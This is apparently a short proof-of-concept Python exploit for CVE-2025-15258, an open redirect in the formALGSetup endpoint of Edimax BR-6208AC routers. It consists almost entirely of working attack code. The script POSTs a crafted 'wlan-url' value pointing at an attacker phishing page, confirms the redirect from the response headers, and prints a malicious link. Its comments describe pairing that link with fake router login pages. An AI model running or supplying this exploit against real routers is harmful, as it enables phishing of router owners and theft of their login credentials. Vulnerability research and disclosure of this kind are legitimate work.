CVE-2025-15258 Edimax BR-6208AC 路由器 formALGSetup 开放重定向漏洞

# CVE-2025-15258 PoC - Edimax BR-6208AC Open Redirect # Target: Edimax BR-6208AC V2 (Firmware 1.02/1.03) # Vulnerability: Open Redirect in /goform/formALGSetup via wlan-url parameter import requests target = "http://192.168.1.1" # Router IP (typical default) # Malicious URL with open redirect payload # Attacker can redirect users to any external site malicious_url = "https://attacker.com/phishing" # Construct the exploit URL # The vulnerable parameter is 'wlan-url' in the formALGSetup handler exploit_params = { "wlan-url": malicious_url, "wlan-en": "1", "submit-url": "/alg.htm" # Legitimate redirect target } # Method 1: Direct POST request to vulnerable endpoint print("[*] Testing CVE-2025-15258 Open Redirect...") print(f"[*] Target: {target}/goform/formALGSetup") try: response = requests.post( f"{target}/goform/formALGSetup", data=exploit_params, allow_redirects=False, timeout=10 ) if response.status_code in [301, 302, 303]: location = response.headers.get('Location', '') print(f"[+] Vulnerable! Redirect to: {location}") if malicious_url in location: print("[+] Confirmed: Open redirect to external domain works!") except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") # Method 2: URL with embedded payload (if reflected in response) print("\n[*] Testing via URL parameter injection...") exploit_url = f"{target}/goform/formALGSetup?wlan-url={malicious_url}" print(f"[*] Malicious URL: {exploit_url}") # Note: This PoC demonstrates the vulnerability exists. # In real attacks, social engineering is used to trick users into clicking the link. # The attacker can create convincing phishing pages mimicking the router login.